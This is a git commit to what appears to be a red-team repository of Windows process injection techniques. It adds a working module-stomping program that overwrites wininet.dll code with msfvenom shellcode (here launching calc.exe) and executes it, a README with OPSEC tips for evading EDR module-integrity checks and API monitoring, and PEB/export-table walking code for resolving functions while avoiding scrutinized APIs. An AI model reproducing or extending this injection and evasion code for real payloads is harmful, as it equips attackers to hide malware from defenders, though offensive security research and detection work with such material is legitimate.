Adding module stomping. Fixing VirtualAlloc call in example 2, adding stub folders for additional techniques.

This commit is contained in:
toneillcodes
2026-01-22 08:43:44 -05:00
parent b88bef461a
commit 486d9bcc89
12 changed files with 536 additions and 22 deletions
+3
View File
@@ -0,0 +1,3 @@
# Direct Syscalls
Invoking functions using low-level syscalls instead of APIs.
Relatively easy to spot by reviewing the call stack.
+2
View File
@@ -0,0 +1,2 @@
# Fiber Injection
Injecting a payload in to a Thread Fiber instead of a thread.
+3 -3
View File
@@ -67,7 +67,7 @@ int main() {
// Update the memory protection value from RW to RWX
DWORD lpOldProtect = NULL;
BOOL updateMemoryProtection = VirtualProtect(pHandle, bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect);
BOOL updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect);
if(updateMemoryProtection == false) {
printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
VirtualFree(bufferAddress, 0, MEM_RELEASE);
@@ -87,7 +87,7 @@ int main() {
WaitForSingleObject(tHandle, INFINITE);
// Update the memory protection value from RWX to RW
updateMemoryProtection = VirtualProtect(pHandle, bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect);
updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect);
if(updateMemoryProtection == false) {
printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
VirtualFree(bufferAddress, 0, MEM_RELEASE);
@@ -102,4 +102,4 @@ int main() {
printf("[*] Process injection complete.\n");
return 0;
}
}
+19 -19
View File
@@ -93,10 +93,10 @@ int main() {
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
P_VirtualAllocEx myVirtualAllocEx = nullptr;
P_WriteProcessMemory myWriteProcessMemory = nullptr;
P_VirtualProtectEx myVirtualProtectEx = nullptr;
P_CreateRemoteThread myCreateRemoteThread = nullptr;
P_VirtualAllocEx myVirtualAllocEx = nullptr;
P_WriteProcessMemory myWriteProcessMemory = nullptr;
P_VirtualProtectEx myVirtualProtectEx = nullptr;
P_CreateRemoteThread myCreateRemoteThread = nullptr;
DWORD pid = 0;
const wchar_t* processName = L"notepad.exe";
@@ -123,13 +123,13 @@ int main() {
return -1;
}
// Use GetProcAddress to get the address of the VirtualAllocEx function
myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx");
if (myVirtualAllocEx == nullptr) {
printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError());
FreeLibrary(hKernel32); // Clean up the module handle
return -1;
}
// Use GetProcAddress to get the address of the VirtualAllocEx function
myVirtualAllocEx = (P_VirtualAllocEx)GetProcAddress(hKernel32, "VirtualAllocEx");
if (myVirtualAllocEx == nullptr) {
printf("[ERROR] Failed to resolve VirtualAllocEx. Error: %u\n", GetLastError());
FreeLibrary(hKernel32); // Clean up the module handle
return -1;
}
// Use GetProcAddress to get the address of the WriteProcessMemory function
myWriteProcessMemory = (P_WriteProcessMemory)GetProcAddress(hKernel32, "WriteProcessMemory");
@@ -147,13 +147,13 @@ int main() {
return -1;
}
// Use GetProcAddress to get the address of the CreateRemoteThread function
myCreateRemoteThread = (P_CreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread");
if (myCreateRemoteThread == nullptr) {
printf("[ERROR] Failed to resolve CreateRemoteThread. Error: %u\n", GetLastError());
FreeLibrary(hKernel32); // Clean up the module handle
return -1;
}
// Use GetProcAddress to get the address of the CreateRemoteThread function
myCreateRemoteThread = (P_CreateRemoteThread)GetProcAddress(hKernel32, "CreateRemoteThread");
if (myCreateRemoteThread == nullptr) {
printf("[ERROR] Failed to resolve CreateRemoteThread. Error: %u\n", GetLastError());
FreeLibrary(hKernel32); // Clean up the module handle
return -1;
}
printf("[*] Successfully opened handle to PID: %u\n", pid);
@@ -207,7 +207,7 @@ int main() {
CloseHandle(pHandle);
CloseHandle(tHandle);
VirtualFree(bufferAddress, 0, MEM_RELEASE);
FreeLibrary(hKernel32); // Clean up the module handle
FreeLibrary(hKernel32); // Clean up the module handle
printf("[*] Process injection complete.\n");
+78
View File
@@ -0,0 +1,78 @@
#include "utils.h"
// custom string-to-integer conversion function
int my_atoi(const char* s) {
int res = 0;
while (*s >= '0' && *s <= '9') {
res = res * 10 + (*s - '0');
s++;
}
return res;
}
// custom string length function
int my_strlen(const char* inputString) {
if (inputString == NULL) return 0;
int length = 0;
while (inputString[length] != '\0') {
length++;
}
return length;
}
// custom string length function with for loop optimization
int my_strlen_for(const char* s) {
if (!s) return 0;
const char* p = s;
for (; *p; p++); // The semicolon at the end is the empty body
return (int)(p - s);
}
// custom string comparison function
int my_strcmp(const char* s1, const char* s2) {
while (*s1 && (*s1 == *s2)) {
s1++;
s2++;
}
// Return the difference between the characters
// (unsigned char) cast ensures correct behavior with extended ASCII
return *(unsigned char*)s1 - *(unsigned char*)s2;
}
int my_stricmp(const char* s1, const char* s2) {
while (*s1) {
char c1 = *s1;
char c2 = *s2;
// Convert c1 to lowercase if it's uppercase
if (c1 >= 'A' && c1 <= 'Z') c1 += 32;
// Convert c2 to lowercase if it's uppercase
if (c2 >= 'A' && c2 <= 'Z') c2 += 32;
if (c1 != c2) {
return (unsigned char)c1 - (unsigned char)c2;
}
s1++;
s2++;
}
return (unsigned char)*s1 - (unsigned char)*s2;
}
int my_wcsicmp(const wchar_t* s1, const wchar_t* s2) {
wchar_t c1, c2;
do {
c1 = *s1++;
c2 = *s2++;
// Convert both to lowercase for comparison
if (c1 >= L'A' && c1 <= L'Z') c1 += (L'a' - L'A');
if (c2 >= L'A' && c2 <= L'Z') c2 += (L'a' - L'A');
if (c1 == L'\0') return c1 - c2;
} while (c1 == c2);
return c1 - c2;
}
+14
View File
@@ -0,0 +1,14 @@
#ifndef UTILS_H
#define UTILS_H
#include <windows.h> // Needed for wchar_t and NULL
// Function Declarations
int my_atoi(const char* s);
int my_strlen(const char* inputString);
int my_strlen_for(const char* s);
int my_strcmp(const char* s1, const char* s2);
int my_stricmp(const char* s1, const char* s2);
int my_wcsicmp(const wchar_t* s1, const wchar_t* s2);
#endif
+2
View File
@@ -0,0 +1,2 @@
# Indirect Syscalls
Invoke functions using a ROP or JOP gadget to obscure the caller.
+40
View File
@@ -0,0 +1,40 @@
# Module Stomping (Module Overwriting)
## Summary
Module Stomping is a process injection technique where a legitimate, image-backed DLL is loaded into a process, and its memory (typically the `.text` section) is overwritten with a payload. This ensures the payload resides within a memory region associated with a file on disk, rather than "Private" memory.
| Component | Description |
| :--- | :--- |
| **Technique** | Overwriting legitimate module code with a payload. |
| **Tactical Goal** | **Evade Memory Scanners:** Bypasses detections that flag `RX` memory regions not backed by a file on disk (`MEM_PRIVATE`). |
| **Stealth** | **Moderate.** While it solves the "unbacked memory" problem, it introduces another IoC "Module Mismatch" (the memory content no longer matches the file on disk). |
## Execution Steps
The `local-stomp.cpp` example follows this execution logic:
1. **Load Target DLL:** Use `LoadLibraryExA` with the `DONT_RESOLVE_DLL_REFERENCES` flag to map a "sacrificial" DLL into the process without executing its entry point.
2. **Identify Section:** Lazy locate the `.text` section of the loaded module to ensure the payload is placed in an executable region.
3. **Reprotect (Write):** Call `VirtualProtect` to change the memory permissions from Read-Execute (`RX`) to Read-Write (`RW`).
4. **Write Payload:** Use `WriteProcessMemory` or `RtlCopyMemory` to stomp the payload over the legitimate instructions.
5. **Reprotect (Execute):** Revert the memory permissions back to Read-Execute (`RX`).
6. **Execution:** Trigger the shellcode using a thread execution API (e.g., `CreateThread` or `CreateRemoteThread`).
## OPSEC Considerations
### 1. Image Divergence
Modern EDRs perform "Module Integrity Checks" by comparing the code in memory against the original file on disk.
* **The Risk:** If `Memory_Hash(DLL) != Disk_Hash(DLL)`, an alert is triggered.
* **Mitigation:** Choose large DLLs and only stomp the specific bytes needed. Consider using "Nops" to mask the payload entry.
### 2. API Monitoring
The use of `VirtualProtect` on an image-backed region is a high-confidence heuristic for many security products.
* **Red Team Tip:** Instead of `VirtualProtect`, advanced implementations use `NtMapViewOfSection` to map a modified view of the DLL directly into memory, avoiding the "Modify" event entirely.
### 3. Target Selection
* **Size Matters:** The sacrificial DLL must have a `.text` section larger than your payload.
* **Frequency:** Use common system DLLs that are normally present but rarely undergo deep integrity checks during routine operation.
## Indicators of Compromise (IoC)
* **Memory/Disk Mismatch:** Significant byte differences between the loaded module and its corresponding `C:\Windows\System32\` file.
* **Suspicious Call Trace:** Thread execution starting from the middle of a DLL's code section rather than a legitimate exported function.
* **API Pattern:** The sequence of `LoadLibrary` -> `VirtualProtect(RW)` -> `VirtualProtect(RX)` is a classic signature of memory manipulation.
+111
View File
@@ -0,0 +1,111 @@
/*
* Local module stomping: load a sacrificial DLL into the process memory, locate a function to stomp (it'll be within the .text section, this is lazy)
* & inject calc.exe msfvenom shellcode into the target buffer, toggling the memory protection between RW and RWX
* shellcode: msfvenom -p windows/x64/exec CMD=calc.exe -f C EXITFUNC=thread
* compile: cl.exe local-stomp.cpp /W0 /D"UNICODE" /D"_UNICODE"
*/
#include <windows.h>
#include <stdio.h>
int main() {
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";
// Retrieve the current process ID
DWORD pid = 0;
pid = GetCurrentProcessId();
if(pid == 0) {
printf("[ERROR] Failed to obtain current process ID!\n");
return -1;
}
printf("[*] Running PI with target PID: %u\n", pid);
// Open a handle to the current process, this must be passed to VirtualAllocEx
HANDLE pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(pid));
if(pHandle == NULL) {
printf("Failed to acquire process handle!\n");
return -1;
}
printf("[*] Successfully opened handle to PID: %u\n", pid);
// load sacrificial DLL, using wininet because it is fairly large and so it can accomodate different PoC payloads
HMODULE hSacrificialDll = LoadLibraryExA("wininet.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if (hSacrificialDll == NULL) {
printf("[ERROR] Failed to obtain DLL handle! Error: %lu\n", GetLastError());
return -1;
}
printf("[*] Target DDL loaded.\n");
LPVOID bufferAddress = (LPVOID)GetProcAddress(hSacrificialDll, "CommitUrlCacheEntryW");
if (bufferAddress == NULL) {
printf("[ERROR] Failed to locate target function CommitUrlCacheEntryW! Error: %lu\n", pid, GetLastError());
return -1;
}
printf("[*] Target wininet.dll!CommitUrlCacheEntryW located at: : 0x%016llx\n", bufferAddress);
// Write the shellcode to the block of memory that we allocated with VirtualAllocEx
BOOL writeShellcode = WriteProcessMemory(pHandle, bufferAddress, buf, sizeof buf, NULL);
if(writeShellcode == false) {
printf("[ERROR] Failed to write shellcode! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
FreeLibrary(hSacrificialDll);
return -1;
}
// Update the memory protection value to RWX
DWORD lpOldProtect = NULL;
BOOL updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_EXECUTE_READWRITE, &lpOldProtect);
if(updateMemoryProtection == false) {
printf("[ERROR] Failed to update memory protection (updating from RW to RWX)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
VirtualFree(bufferAddress, 0, MEM_RELEASE);
return -1;
}
// Create a new thread using the shellcode buffer address as the starting point
HANDLE tHandle = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)bufferAddress, NULL, 0, NULL);
if (tHandle == NULL) {
printf("[ERROR] Failed to create thread within the process (PID: %u)! Error: %lu\n", pid, GetLastError());
FreeLibrary(hSacrificialDll);
return -1;
}
// Wait for the thread to return - not required, but it definitely makes the demonstration much cleaner
printf("[*] Waiting for the thread to return...\n");
WaitForSingleObject(tHandle, INFINITE);
// Update the memory protection value from RWX to RW
updateMemoryProtection = VirtualProtect(bufferAddress, sizeof buf, PAGE_READWRITE, &lpOldProtect);
if(updateMemoryProtection == false) {
printf("[ERROR] Failed to update memory protection (toggling back to RW)! Using addresss: 0x%016llx, Error: %lu\n", bufferAddress, GetLastError());
FreeLibrary(hSacrificialDll);
return -1;
}
// Clean up open handles and free the shellcode buffer memory
CloseHandle(pHandle);
CloseHandle(tHandle);
FreeLibrary(hSacrificialDll);
printf("[*] Process injection complete.\n");
return 0;
}
+2
View File
@@ -0,0 +1,2 @@
# Thread Pool Injection
Leveraging thread pool functionality to invoke payloads while avoiding well-known and highly scrunitinized APIs.
+2
View File
@@ -0,0 +1,2 @@
# Walking the PEB and EAT
Using custom code to parse through the Process Environment Block and Export Address Table to resolve DLLs and functions while avoiding well-known and highly scrutinized APIs.
+260
View File
@@ -0,0 +1,260 @@
#include <windows.h>
#include <stdio.h>
#include <string.h>
#include <intrin.h> // Required for __readgsqword / __readfsdword
#include <winternl.h> // for peb data structure https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
#include "../header-files/utils.h"
// Define missing NTSTATUS codes
#ifndef STATUS_SUCCESS
#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
#endif
#define MAX_EXPORTED_FUNCS 25
#pragma comment(lib, "user32.lib")
// obtain the local process TEB
void* GetLocalTebAddress(void) {
#ifdef _WIN64
return (void*)__readgsqword(0x30);
#else
return (void*)__readfsdword(0x18);
#endif
}
// todo: test and validation for remote PEB
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
PVOID ProcessInformation,
ULONG ProcessInformationLength,
PULONG ReturnLength
);
// todo: test and validation for remote PEB
PVOID GetRemotePebAddress(HANDLE hProcess) {
PROCESS_BASIC_INFORMATION pbi;
ULONG returnLength;
// get the address of NtQueryInformationProcess
// this could be replaced with a manual lookup through the local PEB to avoid GetProcAddress
pNtQueryInformationProcess NtQueryInfo = (pNtQueryInformationProcess)GetProcAddress(
GetModuleHandleA("ntdll.dll"),
"NtQueryInformationProcess"
);
// Query the process for the PEB address
NTSTATUS status = NtQueryInfo(
hProcess,
ProcessBasicInformation, // Value 0
&pbi,
sizeof(pbi),
&returnLength
);
if (status == STATUS_SUCCESS) {
return pbi.PebBaseAddress;
}
return NULL;
}
// find the address of an exported function within a given module
// obviously depends on a name value being present in the array found at AddressOfNames
PVOID GetProcAddressManualByName(HMODULE hMod, char* targetFunc) {
PBYTE base = (PBYTE)hMod;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
IMAGE_DATA_DIRECTORY exportDataDir = nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDir.VirtualAddress == 0) return NULL;
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base + exportDataDir.VirtualAddress);
PDWORD names = (PDWORD)(base + exports->AddressOfNames);
PWORD ordinals = (PWORD)(base + exports->AddressOfNameOrdinals);
PDWORD functions = (PDWORD)(base + exports->AddressOfFunctions);
// --- Binary Search Logic Start ---
int low = 0;
int high = exports->NumberOfNames - 1;
while (low <= high) {
int mid = low + (high - low) / 2;
char* currentName = (char*)(base + names[mid]);
int cmp = my_strcmp(targetFunc, currentName);
if (cmp == 0) {
// Match found!
WORD ordinalValue = ordinals[mid];
DWORD funcRVA = functions[ordinalValue];
// Forwarder Check
if (funcRVA >= exportDataDir.VirtualAddress &&
funcRVA < (exportDataDir.VirtualAddress + exportDataDir.Size)) {
// Add more forwarder logic here
return NULL;
}
return (PVOID)(base + funcRVA);
}
if (cmp < 0) {
high = mid - 1; // Target is in the lower half
}
else {
low = mid + 1; // Target is in the upper half
}
}
// --- Binary Search Logic End ---
return NULL;
}
// find the address of an exported function within a given module
PVOID GetProcAddressManualByOrdinal(HMODULE hMod, WORD ordinal) {
PBYTE base = (PBYTE)hMod;
// 1. Navigate to the Export Directory (standard PE parsing)
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)base;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(base +
nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
// 2. Adjust the ordinal
// Most DLLs start their ordinals at a "Base" (usually 1).
// If the DLL says export #12 and the Base is 1, the actual index is 11.
DWORD functionIndex = ordinal - exports->Base;
// 3. Bounds check
if (functionIndex >= exports->NumberOfFunctions) return NULL;
// 4. Get the RVA from the functions array
PDWORD functionsArray = (PDWORD)(base + exports->AddressOfFunctions);
DWORD funcRVA = functionsArray[functionIndex];
return (PVOID)(base + funcRVA);
}
PVOID GetModuleBaseManual(PPEB pebObject, const char* targetModuleName) {
// we want the ldr data
PPEB_LDR_DATA ldr = pebObject->Ldr;
PLIST_ENTRY listHead = &ldr->InMemoryOrderModuleList;
PLIST_ENTRY currentEntry = listHead->Flink;
// traverse the doubly-linked list, if we ouroboros we're done
while (currentEntry != listHead) {
// InMemoryOrderLinks is the second field in LDR_DATA_TABLE_ENTRY
// use CONTAINING_RECORD to snap back to the start of the structure
LDR_DATA_TABLE_ENTRY* moduleEntry = (LDR_DATA_TABLE_ENTRY*)CONTAINING_RECORD(
currentEntry,
LDR_DATA_TABLE_ENTRY,
InMemoryOrderLinks
);
UNICODE_STRING fileName = moduleEntry->FullDllName;
//printf("fileName = %wZ\n", fileName);
PVOID moduleBase = moduleEntry->DllBase;
// get DOS Header
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)moduleBase;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Invalid DOS Signature\n");
return NULL;
}
// get NT Headers using the offset from DOS Header
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((BYTE*)moduleBase + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
printf("Invalid NT Signature\n");
return NULL;
}
// Locate the Export Directory in the Data Directory
IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
if (exportDataDir.VirtualAddress == 0) {
// does this case matter? maybe with debug enabled
//printf("No Export Table found for entry %wZ\n", &fileName);
}
else {
PIMAGE_EXPORT_DIRECTORY exportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)moduleBase + exportDataDir.VirtualAddress);
char* moduleName = NULL;
moduleName = (char*)((BYTE*)moduleBase + exportDir->Name);
if (moduleName != NULL) {
// todo: case insensitive would be better, the names are not consistent
// examples: ntdll.dll, USER32.dll, KERNEL32.DLL
//if (my_strcmp(moduleName, targetModuleName) == 0) {
if (my_stricmp(moduleName, targetModuleName) == 0) {
return moduleBase;
}
}
}
currentEntry = currentEntry->Flink;
}
return NULL;
}
// custom type defs for function invocation
typedef int (WINAPI* myMessageBoxA)(HWND hWnd, LPCSTR lptext, LPCSTR lpCaption, UINT uType);
int main(int argc, char* argv[]) {
// import MessageBoxA for testing without triggering a message to the UI
if (argc > 999) MessageBoxA(NULL, NULL, NULL, 0);
int debugOutput = 1;
void* teb = GetLocalTebAddress();
if (debugOutput) {
printf("Current process TEB address: %p\n", teb);
}
void* peb = NULL;
#ifdef _WIN64
// On x64, PEB is at TEB + 0x60
peb = *(void**)((unsigned char*)teb + 0x60);
#else
// On x86, PEB is at TEB + 0x30
// not currently used, but good to have around
peb = *(void**)((unsigned char*)teb + 0x30);
#endif
if (debugOutput) {
printf("Current process PEB address (TEB + offset): %p\n", peb);
}
// https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb#remarks
// Assuming peb_address holds the valid memory location of the PEB
PPEB peb_ptr = (PPEB)peb;
// Accessing the 'BeingDebugged' flag
if (peb_ptr->BeingDebugged) {
printf("Debugger is attached\n");
}
else {
printf("No debugger detected\n");
}
PVOID dllBase = GetModuleBaseManual(peb_ptr, "USER32.dll"); // or maybe ntdll.dll
if(dllBase) {
printf("DLL found @ %llx\n",dllBase);
PVOID rvaFound = GetProcAddressManualByName((HMODULE) dllBase, "MessageBoxA"); // and then NtAllocateVirtualMemory
if(rvaFound) {
printf("found function within DLL @ %llx\n", rvaFound);
// MessageBoxA example
myMessageBoxA dynamicMsgBox = NULL;
dynamicMsgBox = (myMessageBoxA)rvaFound;
dynamicMsgBox(NULL, "Executed via manual address resolution!", "Success", MB_OK);
} else {
printf("Unable to locate function\n");
}
} else {
printf("Unable to locate DLL\n");
}
printf("Done.");
return 0;
}